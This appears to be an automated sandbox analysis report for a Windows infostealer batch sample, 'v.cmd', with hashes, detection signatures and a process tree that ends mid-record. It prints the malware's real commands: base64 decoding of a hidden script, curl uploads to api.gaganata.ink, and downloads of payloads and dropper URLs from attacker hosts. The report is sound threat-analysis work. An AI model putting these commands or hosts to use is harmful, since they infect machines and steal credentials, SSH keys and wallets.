465cd1a445782c72cbb30e82e57ebbae38f1535f248bf821b11bc4897d90180e

Analysis

max time kernel
36s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/11/2026, 06:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
v.cmd
Size 50KB
Sample261102-gzepma1tht
SHA256 465cd1a445782c72cbb30e82e57ebbae38f1535f248bf821b11bc4897d90180e
MD5 67f9850f005b01732961a6af890092ad
SHA1 7499e7f736815615fbb69075c65d0d03ec73f6af
SHA512 16c2071ed196d791d6244b863625a9ce3bd4967f88c110388cbf9802e0595835b07907fceb7a5c29831ec22fd0d1e0b7fd208c3ec8974f8a5233d22909063d8e
SSDEEP 768:qG0lI7Q9vfFo9q9VOIT+c86IK+4QcUAvWmj:8PPo9q9ko86IKtZUy/
TLSH
T1CA332D0671623856B47F0B7B58EA18C5B3B8539F34111CE9DF5F89E9E06B6E308DC889
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery execution persistence spyware stealer

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://api.chestsoi.ink/data/python-3.12.8-embed-amd64.zip

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://api.chestsoi.ink/data/chrome_decrypt_sitepackages_amd64.zip

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://api.chestsoi.ink/data/python-3.12.8-embed-amd64.zip

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://api.chestsoi.ink/data/chrome_decrypt_sitepackages_amd64.zip

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
18	948	curl.exe
29	1448	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 38 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
948	powershell.exe
1596	powershell.exe
1832	powershell.exe
2228	powershell.exe
4988	powershell.exe
6048	powershell.exe
4640	powershell.exe
1140	powershell.exe
4496	powershell.exe
2684	powershell.exe
4552	powershell.exe
6004	powershell.exe
2396	powershell.exe
6004	powershell.exe
4476	powershell.exe
3064	powershell.exe
2592	powershell.exe
4192	powershell.exe
5736	powershell.exe
4556	powershell.exe
1708	powershell.exe
3336	powershell.exe
6116	powershell.exe
4192	powershell.exe
1448	powershell.exe
5544	powershell.exe
1688	powershell.exe
2180	powershell.exe
1500	powershell.exe
2620	powershell.exe
1584	powershell.exe
1560	powershell.exe
1228	powershell.exe
4900	powershell.exe
2644	powershell.exe
2552	powershell.exe
5304	powershell.exe
1656	powershell.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Executes dropped EXE 6 IoCs

pid	Process
724	node.exe
5220	node.exe
3008	node.exe
1152	node.exe
3348	node.exe
1096	node.exe

Modifies file permissions 1 TTPs 26 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1708	icacls.exe
1088	icacls.exe
5564	icacls.exe
5832	icacls.exe
984	icacls.exe
1136	icacls.exe
3284	icacls.exe
5700	icacls.exe
4848	icacls.exe
4844	icacls.exe
2668	icacls.exe
2936	icacls.exe
3108	icacls.exe
4824	icacls.exe
1392	icacls.exe
2352	icacls.exe
3292	icacls.exe
4696	icacls.exe
4540	icacls.exe
4976	icacls.exe
5900	icacls.exe
3340	icacls.exe
4616	icacls.exe
4880	icacls.exe
3584	icacls.exe
5988	icacls.exe

Reads ssh keys stored on the system 2 TTPs
Tries to access SSH used by SSH programs.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Executes a VBScript file via the Windows Script Host. 1 TTPs 3 IoCs

execution

Visual Basic

T1059.005

pid	Process
1904	wscript.exe
1004	wscript.exe
1508	wscript.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 11 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4952	cmd.exe
4316	cmd.exe
4732	cmd.exe
6052	cmd.exe
3228	cmd.exe
436	cmd.exe
2696	cmd.exe
3172	cmd.exe
5360	cmd.exe
4600	cmd.exe
1784	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	node.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	node.exe

Delays execution with timeout.exe 6 IoCs

defense_evasion

pid	Process
2256	timeout.exe
3000	timeout.exe
5472	timeout.exe
5748	timeout.exe
6104	timeout.exe
3896	timeout.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
2792	taskkill.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5772	schtasks.exe
4812	schtasks.exe
1636	schtasks.exe
4624	schtasks.exe
4624	schtasks.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
2396	powershell.exe
2396	powershell.exe
4192	powershell.exe
4192	powershell.exe
4192	powershell.exe
4192	powershell.exe
4192	powershell.exe
4192	powershell.exe
1140	powershell.exe
1140	powershell.exe
1140	powershell.exe
6004	powershell.exe
6004	powershell.exe
6004	powershell.exe
1832	powershell.exe
1832	powershell.exe
1832	powershell.exe
3436	WMIC.exe
3436	WMIC.exe
3436	WMIC.exe
3436	WMIC.exe
4476	powershell.exe
4476	powershell.exe
4476	powershell.exe
4496	powershell.exe
4496	powershell.exe
4496	powershell.exe
5736	powershell.exe
5736	powershell.exe
5736	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1708	powershell.exe
1708	powershell.exe
1708	powershell.exe

Suspicious use of AdjustPrivilegeToken 53 IoCs

description	pid	Process
Token: SeDebugPrivilege	2396	powershell.exe
Token: SeDebugPrivilege	4192	powershell.exe
Token: SeDebugPrivilege	4192	powershell.exe
Token: SeDebugPrivilege	1140	powershell.exe
Token: SeDebugPrivilege	6004	powershell.exe
Token: SeDebugPrivilege	1832	powershell.exe
Token: SeIncreaseQuotaPrivilege	3436	WMIC.exe
Token: SeSecurityPrivilege	3436	WMIC.exe
Token: SeTakeOwnershipPrivilege	3436	WMIC.exe
Token: SeLoadDriverPrivilege	3436	WMIC.exe
Token: SeSystemProfilePrivilege	3436	WMIC.exe
Token: SeSystemtimePrivilege	3436	WMIC.exe
Token: SeProfSingleProcessPrivilege	3436	WMIC.exe
Token: SeIncBasePriorityPrivilege	3436	WMIC.exe
Token: SeCreatePagefilePrivilege	3436	WMIC.exe
Token: SeBackupPrivilege	3436	WMIC.exe
Token: SeRestorePrivilege	3436	WMIC.exe
Token: SeShutdownPrivilege	3436	WMIC.exe
Token: SeDebugPrivilege	3436	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3436	WMIC.exe
Token: SeRemoteShutdownPrivilege	3436	WMIC.exe
Token: SeUndockPrivilege	3436	WMIC.exe
Token: SeManageVolumePrivilege	3436	WMIC.exe
Token: 33	3436	WMIC.exe
Token: 34	3436	WMIC.exe
Token: 35	3436	WMIC.exe
Token: 36	3436	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3436	WMIC.exe
Token: SeSecurityPrivilege	3436	WMIC.exe
Token: SeTakeOwnershipPrivilege	3436	WMIC.exe
Token: SeLoadDriverPrivilege	3436	WMIC.exe
Token: SeSystemProfilePrivilege	3436	WMIC.exe
Token: SeSystemtimePrivilege	3436	WMIC.exe
Token: SeProfSingleProcessPrivilege	3436	WMIC.exe
Token: SeIncBasePriorityPrivilege	3436	WMIC.exe
Token: SeCreatePagefilePrivilege	3436	WMIC.exe
Token: SeBackupPrivilege	3436	WMIC.exe
Token: SeRestorePrivilege	3436	WMIC.exe
Token: SeShutdownPrivilege	3436	WMIC.exe
Token: SeDebugPrivilege	3436	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3436	WMIC.exe
Token: SeRemoteShutdownPrivilege	3436	WMIC.exe
Token: SeUndockPrivilege	3436	WMIC.exe
Token: SeManageVolumePrivilege	3436	WMIC.exe
Token: 33	3436	WMIC.exe
Token: 34	3436	WMIC.exe
Token: 35	3436	WMIC.exe
Token: 36	3436	WMIC.exe
Token: SeDebugPrivilege	4476	powershell.exe
Token: SeDebugPrivilege	4496	powershell.exe
Token: SeDebugPrivilege	5736	powershell.exe
Token: SeDebugPrivilege	1448	powershell.exe
Token: SeDebugPrivilege	1708	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4600 wrote to memory of 2396	4600	cmd.exe	89
PID 4600 wrote to memory of 1904	4600	cmd.exe	91
PID 1904 wrote to memory of 1784	1904	wscript.exe	92
PID 4600 wrote to memory of 3896	4600	cmd.exe	94
PID 1784 wrote to memory of 4192	1784	cmd.exe	100
PID 1784 wrote to memory of 5740	1784	cmd.exe	96
PID 1784 wrote to memory of 4824	1784	cmd.exe	97
PID 4600 wrote to memory of 2256	4600	cmd.exe	98
PID 4600 wrote to memory of 3000	4600	cmd.exe	99
PID 1784 wrote to memory of 4192	1784	cmd.exe	100
PID 1784 wrote to memory of 1140	1784	cmd.exe	101
PID 4600 wrote to memory of 5472	4600	cmd.exe	102
PID 1784 wrote to memory of 6004	1784	cmd.exe	103
PID 1784 wrote to memory of 1832	1784	cmd.exe	172
PID 1784 wrote to memory of 1792	1784	cmd.exe	176
PID 4600 wrote to memory of 5748	4600	cmd.exe	106
PID 1784 wrote to memory of 3528	1784	cmd.exe	107
PID 1784 wrote to memory of 5772	1784	cmd.exe	108
PID 1784 wrote to memory of 2636	1784	cmd.exe	109
PID 1784 wrote to memory of 4140	1784	cmd.exe	110
PID 1784 wrote to memory of 3796	1784	cmd.exe	179
PID 1784 wrote to memory of 4732	1784	cmd.exe	112
PID 4732 wrote to memory of 3436	4732	cmd.exe	113
PID 4600 wrote to memory of 6104	4600	cmd.exe	115
PID 1784 wrote to memory of 4316	1784	cmd.exe	185
PID 1784 wrote to memory of 5100	1784	cmd.exe	117
PID 1784 wrote to memory of 5148	1784	cmd.exe	118
PID 1784 wrote to memory of 5244	1784	cmd.exe	119
PID 1784 wrote to memory of 3980	1784	cmd.exe	120
PID 1784 wrote to memory of 5752	1784	cmd.exe	121
PID 1784 wrote to memory of 5644	1784	cmd.exe	122
PID 1784 wrote to memory of 1788	1784	cmd.exe	123
PID 1784 wrote to memory of 6052	1784	cmd.exe	124
PID 1784 wrote to memory of 4216	1784	cmd.exe	126
PID 1784 wrote to memory of 6128	1784	cmd.exe	127
PID 1784 wrote to memory of 3228	1784	cmd.exe	128
PID 1784 wrote to memory of 436	1784	cmd.exe	129
PID 436 wrote to memory of 3408	436	cmd.exe	192
PID 1784 wrote to memory of 5632	1784	cmd.exe	131
PID 1784 wrote to memory of 1468	1784	cmd.exe	132
PID 1784 wrote to memory of 3820	1784	cmd.exe	133
PID 1784 wrote to memory of 4312	1784	cmd.exe	134
PID 1784 wrote to memory of 5792	1784	cmd.exe	135
PID 1784 wrote to memory of 1040	1784	cmd.exe	136
PID 1784 wrote to memory of 4852	1784	cmd.exe	137
PID 4600 wrote to memory of 5552	4600	cmd.exe	138
PID 1784 wrote to memory of 3356	1784	cmd.exe	139
PID 1784 wrote to memory of 3120	1784	cmd.exe	140
PID 4600 wrote to memory of 4992	4600	cmd.exe	141
PID 1784 wrote to memory of 4696	1784	cmd.exe	142
PID 1784 wrote to memory of 3392	1784	cmd.exe	143
PID 1784 wrote to memory of 4592	1784	cmd.exe	220
PID 1784 wrote to memory of 1648	1784	cmd.exe	145
PID 1784 wrote to memory of 1112	1784	cmd.exe	146
PID 1784 wrote to memory of 1060	1784	cmd.exe	147
PID 1784 wrote to memory of 1336	1784	cmd.exe	148
PID 1784 wrote to memory of 4476	1784	cmd.exe	149
PID 1784 wrote to memory of 2468	1784	cmd.exe	150
PID 1784 wrote to memory of 4624	1784	cmd.exe	312
PID 1784 wrote to memory of 4440	1784	cmd.exe	266
PID 1784 wrote to memory of 5164	1784	cmd.exe	153
PID 1784 wrote to memory of 948	1784	cmd.exe	230
PID 1784 wrote to memory of 4952	1784	cmd.exe	155
PID 4952 wrote to memory of 724	4952	cmd.exe	156

cURL User-Agent 17 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	24	curl/8.8.0
HTTP User-Agent header	8	curl/8.8.0
HTTP User-Agent header	18	curl/8.8.0
HTTP User-Agent header	25	curl/8.8.0
HTTP User-Agent header	10	curl/8.8.0
HTTP User-Agent header	11	curl/8.8.0
HTTP User-Agent header	12	curl/8.8.0
HTTP User-Agent header	14	curl/8.8.0
HTTP User-Agent header	15	curl/8.8.0
HTTP User-Agent header	7	curl/8.8.0
HTTP User-Agent header	19	curl/8.8.0
HTTP User-Agent header	20	curl/8.8.0
HTTP User-Agent header	21	curl/8.8.0
HTTP User-Agent header	22	curl/8.8.0
HTTP User-Agent header	23	curl/8.8.0
HTTP User-Agent header	13	curl/8.8.0
HTTP User-Agent header	16	curl/8.8.0

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\v.cmd"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "try{Unblock-File -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\v.cmd'}catch{}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2396
- C:\Windows\system32\wscript.exe
  wscript //B "C:\Users\Admin\AppData\Local\Temp\~nvdg_worker.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Suspicious use of WriteProcessMemory
  PID:1904
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c set NVDG_HIDDEN=1&set NVDG_INSTALLER_DIR=C:\Users\Admin\AppData\Local\Temp&call "C:\Users\Admin\AppData\Local\Temp\v.cmd"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1784
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "try{Unblock-File -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\v.cmd'}catch{}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4192
  - - C:\Windows\system32\where.exe
      where curl
      4⤵
      PID:5740
  - - C:\Windows\system32\curl.exe
      curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: windows" --data-binary "@C:\Users\Admin\AppData\Local\Temp\deepfake_guard.log" --connect-timeout 15 --max-time 30 --retry 2 --retry-delay 2 "https://api.gaganata.ink/guard-install-log"
      4⤵
      PID:4824
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "try { $b=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\~kdm_dd47.b64') -replace '\s',''; [IO.File]::WriteAllBytes('C:\Users\Admin\AppData\Local\Temp\~kdm_b36b.cmd', [Convert]::FromBase64String($b)); exit 0 } catch { exit 1 }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4192
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "try{Unblock-File -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\~kdm_b36b.cmd'}catch{}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1140
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "try { Unblock-File -LiteralPath $env:NVDG_UNBLOCK } catch {}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6004
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "try { Unblock-File -LiteralPath $env:NVDG_UNBLOCK } catch {}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1832
  - - C:\Windows\system32\where.exe
      where curl
      4⤵
      PID:1792
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo INFO uploading final guard install log to server "
      4⤵
      PID:3528
  - - C:\Windows\system32\findstr.exe
      findstr /i "download attempt downloading running preparing no node"
      4⤵
      PID:5772
  - - C:\Windows\system32\curl.exe
      curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: windows" --data-binary "@C:\Users\Admin\AppData\Local\Temp\~nvdg_logupload_27061.tmp" --connect-timeout 30 --max-time 60 --retry 3 --retry-all-errors --retry-delay 3 "https://api.gaganata.ink/guard-install-log"
      4⤵
      PID:2636
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo OK guard log uploaded "
      4⤵
      PID:4140
  - - C:\Windows\system32\findstr.exe
      findstr /i "bat started portable node install_guard using downloaded acquired"
      4⤵
      PID:3796
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wmic process where "name='WMIC.exe'" get ParentProcessId 2>nul
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4732
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "name='WMIC.exe'" get ParentProcessId
        5⤵
        Reads the TCP/IP host and domain name from the registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3436
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo OK acquired lock pid "
      4⤵
      PID:4316
  - - C:\Windows\system32\findstr.exe
      findstr /i "bat started portable node install_guard using downloaded acquired"
      4⤵
      PID:5100
  - - C:\Windows\system32\where.exe
      where curl
      4⤵
      PID:5148
  - - C:\Windows\system32\curl.exe
      curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: windows" --connect-timeout 8 --max-time 12 --retry 0 --data-binary "OK acquired lock pid " "https://api.gaganata.ink/guard-install-progress"
      4⤵
      PID:5244
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo OK bat started "
      4⤵
      PID:3980
  - - C:\Windows\system32\findstr.exe
      findstr /i "bat started portable node install_guard using downloaded acquired"
      4⤵
      PID:5752
  - - C:\Windows\system32\where.exe
      where curl
      4⤵
      PID:5644
  - - C:\Windows\system32\curl.exe
      curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: windows" --connect-timeout 8 --max-time 12 --retry 0 --data-binary "OK bat started " "https://api.gaganata.ink/guard-install-progress"
      4⤵
      PID:1788
  - - C:\Windows\system32\cmd.exe
      cmd /D /C ""C:\Users\Admin\AppData\Local\Temp\~nvdg_logupload_30756.cmd""
      4⤵
      Executes a command shell one-liner
      PID:6052
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo OK cd to C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work "
      4⤵
      PID:4216
  - - C:\Windows\system32\findstr.exe
      findstr /i "bat started portable node install_guard using downloaded acquired"
      4⤵
      PID:6128
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c dir /s /b "C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\node.exe" 2>nul
      4⤵
      Executes a command shell one-liner
      PID:3228
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c where node 2>nul
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:436
    - - C:\Windows\system32\where.exe
        
        where node
        5⤵
        
        PID:3408
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo INFO no node found downloading portable node "
      4⤵
      PID:5632
  - - C:\Windows\system32\findstr.exe
      findstr /i "download attempt downloading running preparing no node"
      4⤵
      PID:1468
  - - C:\Windows\system32\where.exe
      where curl
      4⤵
      PID:3820
  - - C:\Windows\system32\curl.exe
      curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: windows" --connect-timeout 8 --max-time 12 --retry 0 --data-binary "INFO no node found downloading portable node " "https://api.gaganata.ink/guard-install-progress"
      4⤵
      PID:4312
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo INFO node download attempt 1 from store "
      4⤵
      PID:5792
  - - C:\Windows\system32\findstr.exe
      findstr /i "download attempt downloading running preparing no node"
      4⤵
      PID:1040
  - - C:\Windows\system32\where.exe
      where curl
      4⤵
      PID:4852
  - - C:\Windows\system32\curl.exe
      curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: windows" --connect-timeout 8 --max-time 12 --retry 0 --data-binary "INFO node download attempt 1 from store " "https://api.gaganata.ink/guard-install-progress"
      4⤵
      PID:3356
  - - C:\Windows\system32\curl.exe
      curl -kfsSL --http1.1 -C - --retry-connrefused --connect-timeout 120 --max-time 7200 --retry 12 --retry-all-errors --retry-delay 5 --speed-limit 100 --speed-time 300 -o "C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\node.zip" "https://api.gaganata.ink/node/node-v20.18.1-win-x64.zip"
      4⤵
      PID:3120
  - - C:\Windows\System32\tar.exe
      "C:\Windows\System32\tar.exe" -tf "C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\node.zip"
      4⤵
      PID:4696
  - - C:\Windows\System32\tar.exe
      "C:\Windows\System32\tar.exe" -tf "C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\node.zip"
      4⤵
      PID:3392
  - - C:\Windows\system32\findstr.exe
      findstr /i "node.exe"
      4⤵
      PID:4592
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo OK node zip downloaded and verified size 29607183 bytes "
      4⤵
      PID:1648
  - - C:\Windows\system32\findstr.exe
      findstr /i "bat started portable node install_guard using downloaded acquired"
      4⤵
      PID:1112
  - - C:\Windows\system32\where.exe
      where curl
      4⤵
      PID:1060
  - - C:\Windows\system32\curl.exe
      curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: windows" --connect-timeout 8 --max-time 12 --retry 0 --data-binary "OK node zip downloaded and verified size 29607183 bytes" "https://api.gaganata.ink/guard-install-progress"
      4⤵
      PID:1336
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "try { Unblock-File -LiteralPath $env:NVDG_UNBLOCK } catch {}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4476
  - - C:\Windows\System32\tar.exe
      "C:\Windows\System32\tar.exe" -xf "C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\node.zip" -C "C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work"
      4⤵
      PID:2468
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo OK node zip extracted "
      4⤵
      PID:4624
  - - C:\Windows\system32\findstr.exe
      findstr /i "bat started portable node install_guard using downloaded acquired"
      4⤵
      PID:4440
  - - C:\Windows\system32\where.exe
      where curl
      4⤵
      PID:5164
  - - C:\Windows\system32\curl.exe
      curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: windows" --connect-timeout 8 --max-time 12 --retry 0 --data-binary "OK node zip extracted " "https://api.gaganata.ink/guard-install-progress"
      4⤵
      Badlisted process makes network request
      PID:948
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\node-v20.18.1-win-x64\node.exe" -v 2>&1
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4952
    - - C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\node-v20.18.1-win-x64\node.exe
        
        C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\node-v20.18.1-win-x64\node.exe -v
        5⤵
        Executes dropped EXE
        
        PID:724
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\node-v20.18.1-win-x64\node.exe" -v 2>&1
      4⤵
      Executes a command shell one-liner
      PID:2696
    - - C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\node-v20.18.1-win-x64\node.exe
        
        C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\node-v20.18.1-win-x64\node.exe -v
        5⤵
        Executes dropped EXE
        
        PID:5220
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\node-v20.18.1-win-x64\node.exe" -v 2>&1
      4⤵
      Executes a command shell one-liner
      PID:3172
    - - C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\node-v20.18.1-win-x64\node.exe
        
        C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\node-v20.18.1-win-x64\node.exe -v
        5⤵
        Executes dropped EXE
        
        PID:3008
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo 20"
      4⤵
      PID:3692
  - - C:\Windows\system32\findstr.exe
      findstr /r "^[0-9][0-9]*$"
      4⤵
      PID:1284
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo OK portable node ready at C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\node-v20.18.1-win-x64\node.exe version v20.18.1 "
      4⤵
      PID:3916
  - - C:\Windows\system32\findstr.exe
      findstr /i "bat started portable node install_guard using downloaded acquired"
      4⤵
      PID:1448
  - - C:\Windows\system32\where.exe
      where curl
      4⤵
      PID:5852
  - - C:\Windows\system32\curl.exe
      curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: windows" --connect-timeout 8 --max-time 12 --retry 0 --data-binary "OK portable node ready at C:\Users\Admin\AppData\Local\Temp\deepfake_guard_work\node-v20.18.1-win-x64\node.exe version v20.18.1 " "https://api.gaganata.ink/guard-install-progress"
      4⤵
      PID:3400
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "try { Unblock-File -LiteralPath $env:NVDG_UNBLOCK } catch {}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4496
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo INFO preparing install_guard.js "
      4⤵
      PID:1708
  - - C:\Windows\system32\findstr.exe
      findstr /i "download attempt downloading running preparing no node"
      4⤵
      PID:3184
  - - C:\Windows\system32\where.exe
      where curl
      4⤵
      PID:3364
  - - C:\Windows\system32\curl.exe
      curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: windows" --connect-timeout 8 --max-time 12 --retry 0 --data-binary "INFO preparing install_guard.js " "https://api.gaganata.ink/guard-install-progress"
      4⤵
      PID:692
  - - C:\Windows\system32\curl.exe
      curl -kfsSI --http1.1 --retry 3 --retry-delay 1 --retry-connrefused --connect-timeout 10 --max-time 30 "https://api.gaganata.ink/install_guard.js"
      4⤵
      PID:1832
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo INFO install_guard.js download attempt 1 "
      4⤵
      PID:2028
  - - C:\Windows\system32\findstr.exe
      findstr /i "download attempt downloading running preparing no node"
      4⤵
      PID:5696
  - - C:\Windows\system32\where.exe
      where curl
      4⤵
      PID:4916
  - - C:\Windows\system32\curl.exe
      curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: windows" --connect-timeout 8 --max-time 12 --retry 0 --data-binary "INFO install_guard.js download attempt 1 " "https://api.gaganata.ink/guard-install-progress"
      4⤵
      PID:1792
  - - C:\Windows\system32\curl.exe
